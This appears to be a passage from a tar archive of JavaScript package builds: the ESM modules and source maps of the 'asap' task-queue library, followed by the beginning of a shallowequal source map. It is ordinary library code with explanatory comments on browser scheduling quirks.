requires nuances to operate in a\n\t\t  // broad spectrum of browsers.\n\t\t  //\n\t\t  // - Firefox 3-13\n\t\t  // - Internet Explorer 6-9\n\t\t  // - iPad Safari 4.3\n\t\t  // - Lynx 2.8.7\n\t\t  makeRequestCallFromTimer\n"],"names":["scope","global","self","BrowserMutationObserver","MutationObserver","WebKitMutationObserver","makeRequestCallFromTimer","callback","requestCall","timeoutHandle","setTimeout","handleTimer","intervalHandle","setInterval","clearTimeout","clearInterval","makeRequestCallFromMutationObserver","toggle","observer","node","document","createTextNode","observe","characterData","data","makeRequestCall"],"mappings":"AAAA,4EAA4E;AAC5E,oEAAoE;AACpE,iFAAiF;AACjF,mEAAmE;AAEnE,kBAAkB,CAClB,MAAMA,KAAK,GAAG,OAAOC,MAAM,KAAK,WAAW,GAAGA,MAAM,GAAGC,IAAI;AAC3D,MAAMC,uBAAuB,GAC5B,AAACH,KAAK,CAASI,gBAAgB,IAAI,AAACJ,KAAK,CAASK,sBAAsB;AAEzE,OAAO,SAASC,wBAAwB,CAACC,QAAoB,EAAE;IAC9D,OAAO,SAASC,WAAW,GAAG;QAC7B,qEAAqE;QACrE,sEAAsE;QACtE,qEAAqE;QACrE,kBAAkB;QAClB,MAAMC,aAAa,GAAGC,UAAU,CAACC,WAAW,EAAE,CAAC,CAAC;QAChD,+DAA+D;QAC/D,8DAA8D;QAC9D,kDAAkD;QAClD,MAAMC,cAAc,GAAGC,WAAW,CAACF,WAAW,EAAE,EAAE,CAAC;QAEnD,SAASA,WAAW,GAAG;YACtB,uDAAuD;YACvD,wBAAwB;YACxBG,YAAY,CAACL,aAAa,CAAC;YAC3BM,aAAa,CAACH,cAAc,CAAC;YAC7BL,QAAQ,EAAE;SACV;KACD,CAAA;CACD;AAED,8EAA8E;AAC9E,gDAAgD;AAChD,OAAO,SAASS,mCAAmC,CAACT,QAAoB,EAAE;IACzE,IAAIU,MAAM,GAAG,CAAC;IACd,MAAMC,QAAQ,GAAG,IAAIf,uBAAuB,CAACI,QAAQ,CAAC;IACtD,MAAMY,IAAI,GAAGC,QAAQ,CAACC,cAAc,CAAC,EAAE,CAAC;IACxCH,QAAQ,CAACI,OAAO,CAACH,IAAI,EAAE;QAAEI,aAAa,EAAE,IAAI;KAAE,CAAC;IAC/C,OAAO,SAASf,WAAW,GAAG;QAC7BS,MAAM,GAAG,CAACA,MAAM,CACf;QAAA,AAACE,IAAI,CAASK,IAAI,GAAGP,MAAM;KAC5B,CAAA;CACD;AAED,OAAO,MAAMQ,eAAe,GAC3B,OAAOtB,uBAAuB,KAAK,UAAU,GAE1C,4CAA4C;AAC5C,+CAA+C;AAC/C,EAAE;AACF,kBAAkB;AAClB,iBAAiB;AACjB,kBAAkB;AAClB,yBAAyB;AACzB,sBAAsB;AACtB,wBAAwB;AACxB,eAAe;AACfa,mCAAmC,GAEnC,+EAA+E;AAC/E,6CAA6C;AAC7C,6EAA6E;AAC7E,yDAAyD;AACzD,qEAAqE;AAErE,0EAA0E;AAC1E,8BAA8B;AAC9B,sEAAsE;AACtE,mEAAmE;AACnE,2BAA2B;AAC3B,8EAA8E;AAC9E,iEAAiE;AACjE,mDAAmD;AACnD,4CAA4C;AAE5C,sCAAsC;AACtC,uEAAuE;AACvE,sCAAsC;AACtC,4EAA4E;AAC5E,8BAA8B;AAC9B,EAAE;AACF,iBAAiB;AACjB,0BAA0B;AAC1B,oBAAoB;AACpB,eAAe;AACfV,wBAAwB,CAAA"}esm/asap.mjs.map000064400000002351151701456750007557 0ustar00{"version":3,"sources":["../../src/asap.ts"],"sourcesContent":["import { AsapQueue } from './AsapQueue.js'\nimport { TaskFactory } from './TaskFactory.js'\nimport type { TaskFn } from './types.js'\n\nconst asapQueue = new AsapQueue()\nconst taskFactory = new TaskFactory(asapQueue.registerPendingError)\n\n/**\n * Calls a task as soon as possible after returning, in its own event, with priority\n * over other events like animation, reflow, and repaint. An error thrown from an\n * event will not interrupt, nor even substantially slow down the processing of\n * other events, but will be rather postponed to a lower priority event.\n * @param {{call}} task A callable object, typically a function that takes no\n * arguments.\n */\nexport function asap(task: TaskFn) {\n\tasapQueue.enqueueTask(taskFactory.create(task))\n}\n"],"names":["AsapQueue","TaskFactory","asapQueue","taskFactory","registerPendingError","asap","task","enqueueTask","create"],"mappings":"AAAA,SAASA,SAAS,QAAQ,gBAAgB,CAAA;AAC1C,SAASC,WAAW,QAAQ,kBAAkB,CAAA;AAG9C,MAAMC,SAAS,GAAG,IAAIF,SAAS,EAAE;AACjC,MAAMG,WAAW,GAAG,IAAIF,WAAW,CAACC,SAAS,CAACE,oBAAoB,CAAC;AAEnE;;;;;;;GAOG,CACH,OAAO,SAASC,IAAI,CAACC,IAAY,EAAE;IAClCJ,SAAS,CAACK,WAAW,CAACJ,WAAW,CAACK,MAAM,CAACF,IAAI,CAAC,CAAC;CAC/C"}esm/AsapQueue.mjs000064400000016170151701456750007754 0ustar00import { makeRequestCall, makeRequestCallFromTimer } from './makeRequestCall.mjs';
export class AsapQueue {
    // Use the fastest means possible to execute a task in its own turn, with
    // priority over other events including IO, animation, reflow, and redraw
    // events in browsers.
    //
    // An exception thrown by a task will permanently interrupt the processing of
    // subsequent tasks. The higher level `asap` function ensures that if an
    // exception is thrown by a task, that the task queue will continue flushing as
    // soon as possible, but if you use `rawAsap` directly, you are responsible to
    // either ensure that no exceptions are thrown from your task, or to manually
    // call `rawAsap.requestFlush` if an exception is thrown.
    enqueueTask(task) {
        const { queue: q , requestFlush  } = this;
        if (!q.length) {
            requestFlush();
            this.flushing = true;
        }
        // Equivalent to push, but avoids a function call.
        q[q.length] = task;
    }
    constructor(){
        this.queue = [];
        // We queue errors to ensure they are thrown in right order (FIFO).
        // Array-as-queue is good enough here, since we are just dealing with exceptions.
        this.pendingErrors = [];
        // Once a flush has been requested, no further calls to `requestFlush` are
        // necessary until the next `flush` completes.
        // @ts-ignore
        this.flushing = false;
        // The position of the next task to execute in the task queue. This is
        // preserved between calls to `flush` so that it can be resumed if
        // a task throws an exception.
        this.index = 0;
        // If a task schedules additional tasks recursively, the task queue can grow
        // unbounded. To prevent memory exhaustion, the task queue will periodically
        // truncate already-completed tasks.
        this.capacity = 1024;
        // The flush function processes all tasks that have been scheduled with
        // `rawAsap` unless and until one of those tasks throws an exception.
        // If a task throws an exception, `flush` ensures that its state will remain
        // consistent and will resume where it left off when called again.
        // However, `flush` does not make any arrangements to be called again if an
        // exception is thrown.
        this.flush = ()=>{
            const { queue: q  } = this;
            while(this.index < q.length){
                const currentIndex = this.index;
                // Advance the index before calling the task. This ensures that we will
                // begin flushing on the next task the task throws an error.
                this.index++;
                q[currentIndex].call();
                // Prevent leaking memory for long chains of recursive calls to `asap`.
                // If we call `asap` within tasks scheduled by `asap`, the queue will
                // grow, but to avoid an O(n) walk for every task we execute, we don't
                // shift tasks off the queue after they have been executed.
                // Instead, we periodically shift 1024 tasks off the queue.
                if (this.index > this.capacity) {
                    // Manually shift all values starting at the index back to the
                    // beginning of the queue.
                    for(let scan = 0, newLength = q.length - this.index; scan < newLength; scan++){
                        q[scan] = q[scan + this.index];
                    }
                    q.length -= this.index;
                    this.index = 0;
                }
            }
            q.length = 0;
            this.index = 0;
            this.flushing = false;
        };
        // In a web browser, exceptions are not fatal. However, to avoid
        // slowing down the queue of pending tasks, we rethrow the error in a
        // lower priority turn.
        this.registerPendingError = (err)=>{
            this.pendingErrors.push(err);
            this.requestErrorThrow();
        };
        // `requestFlush` requests that the high priority event queue be flushed as
        // soon as possible.
        // This is useful to prevent an error thrown in a task from stalling the event
        // queue if the exception handled by Node.js’s
        // `process.on("uncaughtException")` or by a domain.
        // `requestFlush` is implemented using a strategy based on data collected from
        // every available SauceLabs Selenium web driver worker at time of writing.
        // https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593
        this.requestFlush = makeRequestCall(this.flush);
        this.requestErrorThrow = makeRequestCallFromTimer(()=>{
            // Throw first error
            if (this.pendingErrors.length) {
                throw this.pendingErrors.shift();
            }
        });
    }
} // The message channel technique was discovered by Malte Ubl and was the
 // original foundation for this library.
 // http://www.nonblocking.io/2011/06/windownexttick.html
 // Safari 6.0.5 (at least) intermittently fails to create message ports on a
 // page's first load. Thankfully, this version of Safari supports
 // MutationObservers, so we don't need to fall back in that case.
 // function makeRequestCallFromMessageChannel(callback) {
 //     var channel = new MessageChannel();
 //     channel.port1.onmessage = callback;
 //     return function requestCall() {
 //         channel.port2.postMessage(0);
 //     };
 // }
 // For reasons explained above, we are also unable to use `setImmediate`
 // under any circumstances.
 // Even if we were, there is another bug in Internet Explorer 10.
 // It is not sufficient to assign `setImmediate` to `requestFlush` because
 // `setImmediate` must be called *by name* and therefore must be wrapped in a
 // closure.
 // Never forget.
 // function makeRequestCallFromSetImmediate(callback) {
 //     return function requestCall() {
 //         setImmediate(callback);
 //     };
 // }
 // Safari 6.0 has a problem where timers will get lost while the user is
 // scrolling. This problem does not impact ASAP because Safari 6.0 supports
 // mutation observers, so that implementation is used instead.
 // However, if we ever elect to use timers in Safari, the prevalent work-around
 // is to add a scroll event listener that calls for a flush.
 // `setTimeout` does not call the passed callback if the delay is less than
 // approximately 7 in web workers in Firefox 8 through 18, and sometimes not
 // even then.
 // This is for `asap.js` only.
 // Its name will be periodically randomized to break any code that depends on
 // // its existence.
 // rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer
 // ASAP was originally a nextTick shim included in Q. This was factored out
 // into this ASAP package. It was later adapted to RSVP which made further
 // amendments. These decisions, particularly to marginalize MessageChannel and
 // to capture the MutationObserver implementation in a closure, were integrated
 // back into ASAP proper.
 // https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js

//# sourceMappingURL=AsapQueue.mjs.mapesm/index.mjs000064400000000240151701456750007161 0ustar00export * from './asap.mjs';
export * from './types.mjs';
export * from './AsapQueue.mjs';
export * from './TaskFactory.mjs';

//# sourceMappingURL=index.mjs.mapesm/RawTask.mjs000064400000000677151701456750007444 0ustar00// `call`, just like a function.
export class RawTask {
    call() {
        try {
            this.task && this.task();
        } catch (error) {
            this.onError(error);
        } finally{
            this.task = null;
            this.release(this);
        }
    }
    constructor(onError, release){
        this.onError = onError;
        this.release = release;
        this.task = null;
    }
}

//# sourceMappingURL=RawTask.mjs.mapesm/makeRequestCall.mjs000064400000006657151701456750011156 0ustar00// Safari 6 and 6.1 for desktop, iPad, and iPhone are the only browsers that
// have WebKitMutationObserver but not un-prefixed MutationObserver.
// Must use `global` or `self` instead of `window` to work in both frames and web
// workers. `global` is a provision of Browserify, Mr, Mrs, or Mop.
/* globals self */ const scope = typeof global !== 'undefined' ? global : self;
const BrowserMutationObserver = scope.MutationObserver || scope.WebKitMutationObserver;
export function makeRequestCallFromTimer(callback) {
    return function requestCall() {
        // We dispatch a timeout with a specified delay of 0 for engines that
        // can reliably accommodate that request. This will usually be snapped
        // to a 4 milisecond delay, but once we're flushing, there's no delay
        // between events.
        const timeoutHandle = setTimeout(handleTimer, 0);
        // However, since this timer gets frequently dropped in Firefox
        // workers, we enlist an interval handle that will try to fire
        // an event 20 times per second until it succeeds.
        const intervalHandle = setInterval(handleTimer, 50);
        function handleTimer() {
            // Whichever timer succeeds will cancel both timers and
            // execute the callback.
            clearTimeout(timeoutHandle);
            clearInterval(intervalHandle);
            callback();
        }
    };
}
// To request a high priority event, we induce a mutation observer by toggling
// the text of a text node between "1" and "-1".
export function makeRequestCallFromMutationObserver(callback) {
    let toggle = 1;
    const observer = new BrowserMutationObserver(callback);
    const node = document.createTextNode('');
    observer.observe(node, {
        characterData: true
    });
    return function requestCall() {
        toggle = -toggle;
        node.data = toggle;
    };
}
export const makeRequestCall = typeof BrowserMutationObserver === 'function' ? // reliably everywhere they are implemented.
// They are implemented in all modern browsers.
//
// - Android 4-4.3
// - Chrome 26-34
// - Firefox 14-29
// - Internet Explorer 11
// - iPad Safari 6-7.1
// - iPhone Safari 7-7.1
// - Safari 6-7
makeRequestCallFromMutationObserver : // task queue, are implemented in Internet Explorer 10, Safari 5.0-1, and Opera
// 11-12, and in web workers in many engines.
// Although message channels yield to any queued rendering and IO tasks, they
// would be better than imposing the 4ms delay of timers.
// However, they do not work reliably in Internet Explorer or Safari.
// Internet Explorer 10 is the only browser that has setImmediate but does
// not have MutationObservers.
// Although setImmediate yields to the browser's renderer, it would be
// preferrable to falling back to setTimeout since it does not have
// the minimum 4ms penalty.
// Unfortunately there appears to be a bug in Internet Explorer 10 Mobile (and
// Desktop to a lesser extent) that renders both setImmediate and
// MessageChannel useless for the purposes of ASAP.
// https://github.com/kriskowal/q/issues/396
// Timers are implemented universally.
// We fall back to timers in workers in most engines, and in foreground
// contexts in the following browsers.
// However, note that even this simple case requires nuances to operate in a
// broad spectrum of browsers.
//
// - Firefox 3-13
// - Internet Explorer 6-9
// - iPad Safari 4.3
// - Lynx 2.8.7
makeRequestCallFromTimer;

//# sourceMappingURL=makeRequestCall.mjs.mapesm/TaskFactory.mjs000064400000000650151701456750010311 0ustar00import { RawTask } from './RawTask.mjs';
export class TaskFactory {
    create(task) {
        const tasks = this.freeTasks;
        const t1 = tasks.length ? tasks.pop() : new RawTask(this.onError, (t)=>tasks[tasks.length] = t
        );
        t1.task = task;
        return t1;
    }
    constructor(onError){
        this.onError = onError;
        this.freeTasks = [];
    }
}

//# sourceMappingURL=TaskFactory.mjs.mapesm/RawTask.mjs.map000064400000002070151701456750010205 0ustar00{"version":3,"sources":["../../src/RawTask.ts"],"sourcesContent":["// We wrap tasks with recyclable task objects.  A task object implements\n\nimport type { TaskFn, Task } from 'types'\n\n// `call`, just like a function.\nexport class RawTask implements Task {\n\tpublic task: TaskFn | null = null\n\n\tpublic constructor(\n\t\tprivate onError: (err: any) => void,\n\t\tprivate release: (t: RawTask) => void,\n\t) {}\n\n\tpublic call() {\n\t\ttry {\n\t\t\tthis.task && this.task()\n\t\t} catch (error) {\n\t\t\tthis.onError(error)\n\t\t} finally {\n\t\t\tthis.task = null\n\t\t\tthis.release(this)\n\t\t}\n\t}\n}\n"],"names":["RawTask","call","task","error","onError","release"],"mappings":"AAIA,gCAAgC;AAChC,OAAO,MAAMA,OAAO;IAQnB,AAAOC,IAAI,GAAG;QACb,IAAI;YACH,IAAI,CAACC,IAAI,IAAI,IAAI,CAACA,IAAI,EAAE;SACxB,CAAC,OAAOC,KAAK,EAAE;YACf,IAAI,CAACC,OAAO,CAACD,KAAK,CAAC;SACnB,QAAS;YACT,IAAI,CAACD,IAAI,GAAG,IAAI;YAChB,IAAI,CAACG,OAAO,CAAC,IAAI,CAAC;SAClB;KACD;IAdD,YACSD,OAA2B,EAC3BC,OAA6B,CACpC;aAFOD,OAA2B,GAA3BA,OAA2B;aAC3BC,OAA6B,GAA7BA,OAA6B;aAJ/BH,IAAI,GAAkB,IAAI;KAK7B;CAYJ"}esm/AsapQueue.mjs.map000064400000024501151701456750010525 0ustar00{"version":3,"sources":["../../src/AsapQueue.ts"],"sourcesContent":["/* eslint-disable no-restricted-globals, @typescript-eslint/ban-ts-comment, @typescript-eslint/no-unused-vars, @typescript-eslint/no-non-null-assertion */\nimport type { Task } from './types.js'\nimport { makeRequestCall, makeRequestCallFromTimer } from './makeRequestCall.js'\n\nexport class AsapQueue {\n\tprivate queue: Task[] = []\n\t// We queue errors to ensure they are thrown in right order (FIFO).\n\t// Array-as-queue is good enough here, since we are just dealing with exceptions.\n\tprivate pendingErrors: any[] = []\n\t// Once a flush has been requested, no further calls to `requestFlush` are\n\t// necessary until the next `flush` completes.\n\t// @ts-ignore\n\tprivate flushing = false\n\t// `requestFlush` is an implementation-specific method that attempts to kick\n\t// off a `flush` event as quickly as possible. `flush` will attempt to exhaust\n\t// the event queue before yielding to the browser's own event loop.\n\tprivate requestFlush: () => void\n\n\tprivate requestErrorThrow: () => void\n\t// The position of the next task to execute in the task queue. This is\n\t// preserved between calls to `flush` so that it can be resumed if\n\t// a task throws an exception.\n\tprivate index = 0\n\t// If a task schedules additional tasks recursively, the task queue can grow\n\t// unbounded. To prevent memory exhaustion, the task queue will periodically\n\t// truncate already-completed tasks.\n\tprivate capacity = 1024\n\n\tpublic constructor() {\n\t\t// `requestFlush` requests that the high priority event queue be flushed as\n\t\t// soon as possible.\n\t\t// This is useful to prevent an error thrown in a task from stalling the event\n\t\t// queue if the exception handled by Node.js’s\n\t\t// `process.on(\"uncaughtException\")` or by a domain.\n\n\t\t// `requestFlush` is implemented using a strategy based on data collected from\n\t\t// every available SauceLabs Selenium web driver worker at time of writing.\n\t\t// https://docs.google.com/spreadsheets/d/1mG-5UYGup5qxGdEMWkhP6BWCz053NUb2E1QoUTU16uA/edit#gid=783724593\n\t\tthis.requestFlush = makeRequestCall(this.flush)\n\t\tthis.requestErrorThrow = makeRequestCallFromTimer(() => {\n\t\t\t// Throw first error\n\t\t\tif (this.pendingErrors.length) {\n\t\t\t\tthrow this.pendingErrors.shift()\n\t\t\t}\n\t\t})\n\t}\n\n\t// Use the fastest means possible to execute a task in its own turn, with\n\t// priority over other events including IO, animation, reflow, and redraw\n\t// events in browsers.\n\t//\n\t// An exception thrown by a task will permanently interrupt the processing of\n\t// subsequent tasks. The higher level `asap` function ensures that if an\n\t// exception is thrown by a task, that the task queue will continue flushing as\n\t// soon as possible, but if you use `rawAsap` directly, you are responsible to\n\t// either ensure that no exceptions are thrown from your task, or to manually\n\t// call `rawAsap.requestFlush` if an exception is thrown.\n\tpublic enqueueTask(task: Task): void {\n\t\tconst { queue: q, requestFlush } = this\n\t\tif (!q.length) {\n\t\t\trequestFlush()\n\t\t\tthis.flushing = true\n\t\t}\n\t\t// Equivalent to push, but avoids a function call.\n\t\tq[q.length] = task\n\t}\n\n\t// The flush function processes all tasks that have been scheduled with\n\t// `rawAsap` unless and until one of those tasks throws an exception.\n\t// If a task throws an exception, `flush` ensures that its state will remain\n\t// consistent and will resume where it left off when called again.\n\t// However, `flush` does not make any arrangements to be called again if an\n\t// exception is thrown.\n\tprivate flush = () => {\n\t\tconst { queue: q } = this\n\t\twhile (this.index < q.length) {\n\t\t\tconst currentIndex = this.index\n\t\t\t// Advance the index before calling the task. This ensures that we will\n\t\t\t// begin flushing on the next task the task throws an error.\n\t\t\tthis.index++\n\t\t\tq[currentIndex]!.call()\n\t\t\t// Prevent leaking memory for long chains of recursive calls to `asap`.\n\t\t\t// If we call `asap` within tasks scheduled by `asap`, the queue will\n\t\t\t// grow, but to avoid an O(n) walk for every task we execute, we don't\n\t\t\t// shift tasks off the queue after they have been executed.\n\t\t\t// Instead, we periodically shift 1024 tasks off the queue.\n\t\t\tif (this.index > this.capacity) {\n\t\t\t\t// Manually shift all values starting at the index back to the\n\t\t\t\t// beginning of the queue.\n\t\t\t\tfor (\n\t\t\t\t\tlet scan = 0, newLength = q.length - this.index;\n\t\t\t\t\tscan < newLength;\n\t\t\t\t\tscan++\n\t\t\t\t) {\n\t\t\t\t\tq[scan] = q[scan + this.index]!\n\t\t\t\t}\n\t\t\t\tq.length -= this.index\n\t\t\t\tthis.index = 0\n\t\t\t}\n\t\t}\n\t\tq.length = 0\n\t\tthis.index = 0\n\t\tthis.flushing = false\n\t}\n\n\t// In a web browser, exceptions are not fatal. However, to avoid\n\t// slowing down the queue of pending tasks, we rethrow the error in a\n\t// lower priority turn.\n\tpublic registerPendingError = (err: any) => {\n\t\tthis.pendingErrors.push(err)\n\t\tthis.requestErrorThrow()\n\t}\n}\n\n// The message channel technique was discovered by Malte Ubl and was the\n// original foundation for this library.\n// http://www.nonblocking.io/2011/06/windownexttick.html\n\n// Safari 6.0.5 (at least) intermittently fails to create message ports on a\n// page's first load. Thankfully, this version of Safari supports\n// MutationObservers, so we don't need to fall back in that case.\n\n// function makeRequestCallFromMessageChannel(callback) {\n//     var channel = new MessageChannel();\n//     channel.port1.onmessage = callback;\n//     return function requestCall() {\n//         channel.port2.postMessage(0);\n//     };\n// }\n\n// For reasons explained above, we are also unable to use `setImmediate`\n// under any circumstances.\n// Even if we were, there is another bug in Internet Explorer 10.\n// It is not sufficient to assign `setImmediate` to `requestFlush` because\n// `setImmediate` must be called *by name* and therefore must be wrapped in a\n// closure.\n// Never forget.\n\n// function makeRequestCallFromSetImmediate(callback) {\n//     return function requestCall() {\n//         setImmediate(callback);\n//     };\n// }\n\n// Safari 6.0 has a problem where timers will get lost while the user is\n// scrolling. This problem does not impact ASAP because Safari 6.0 supports\n// mutation observers, so that implementation is used instead.\n// However, if we ever elect to use timers in Safari, the prevalent work-around\n// is to add a scroll event listener that calls for a flush.\n\n// `setTimeout` does not call the passed callback if the delay is less than\n// approximately 7 in web workers in Firefox 8 through 18, and sometimes not\n// even then.\n\n// This is for `asap.js` only.\n// Its name will be periodically randomized to break any code that depends on\n// // its existence.\n// rawAsap.makeRequestCallFromTimer = makeRequestCallFromTimer\n\n// ASAP was originally a nextTick shim included in Q. This was factored out\n// into this ASAP package. It was later adapted to RSVP which made further\n// amendments. These decisions, particularly to marginalize MessageChannel and\n// to capture the MutationObserver implementation in a closure, were integrated\n// back into ASAP proper.\n// https://github.com/tildeio/rsvp.js/blob/cddf7232546a9cf858524b75cde6f9edf72620a7/lib/rsvp/asap.js\n"],"names":["makeRequestCall","makeRequestCallFromTimer","AsapQueue","enqueueTask","task","queue","q","requestFlush","length","flushing","pendingErrors","index","capacity","flush","currentIndex","call","scan","newLength","registerPendingError","err","push","requestErrorThrow","shift"],"mappings":"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"}esm/types.mjs.map000064400000000264151701456750010000 0ustar00{"version":3,"sources":["../../src/types.ts"],"sourcesContent":["export interface Task {\n\tcall(): void\n}\nexport type TaskFn = () => void\n"],"names":[],"mappings":"AAAA,WAG+B"}esm/asap.mjs000064400000001340151701456750007000 0ustar00import { AsapQueue } from './AsapQueue.mjs';
import { TaskFactory } from './TaskFactory.mjs';
const asapQueue = new AsapQueue();
const taskFactory = new TaskFactory(asapQueue.registerPendingError);
/**
 * Calls a task as soon as possible after returning, in its own event, with priority
 * over other events like animation, reflow, and repaint. An error thrown from an
 * event will not interrupt, nor even substantially slow down the processing of
 * other events, but will be rather postponed to a lower priority event.
 * @param {{call}} task A callable object, typically a function that takes no
 * arguments.
 */ export function asap(task) {
    asapQueue.enqueueTask(taskFactory.create(task));
}

//# sourceMappingURL=asap.mjs.mapshallowequal.cjs.development.js.map000064400000005063151701457610013471 0ustar00{"version":3,"file":"shallowequal.cjs.development.js","sources":["../src/index.ts"],"sourcesContent":["export function shallowEqual<T>(\n  objA: T,\n  objB: T,\n  compare?: (a: T, b: T, key?: string) => boolean | void,\n  compareContext?: any\n) {\n  var compareResult = compare\n    ? compare.call(compareContext, objA, objB)\n    : void 0;\n  if (compareResult !== void 0) {\n    return !!compareResult;\n  }\n\n  if (objA === objB) {\n    return true;\n  }\n\n  if (typeof objA !== 'object' || !objA || typeof objB !== 'object' || !objB) {\n    return false;\n  }\n\n  var keysA = Object.keys(objA);\n  var keysB = Object.keys(objB);\n\n  if (keysA.length !== keysB.length) {\n    return false;\n  }\n\n  var bHasOwnProperty = Object.prototype.hasOwnProperty.bind(objB);\n\n  // Test for A's keys different from B.\n  for (var idx = 0; idx < keysA.length; idx++) {\n    var key = keysA[idx];\n\n    if (!bHasOwnProperty(key)) {\n      return false;\n    }\n\n    var valueA = (objA as any)[key];\n    var valueB = (objB as any)[key];\n\n    compareResult = compare\n      ? compare.call(compareContext, valueA, valueB, key)\n      : void 0;\n\n    if (\n      compareResult === false ||\n      (compareResult === void 0 && valueA !== valueB)\n    ) {\n      return false;\n    }\n  }\n\n  return 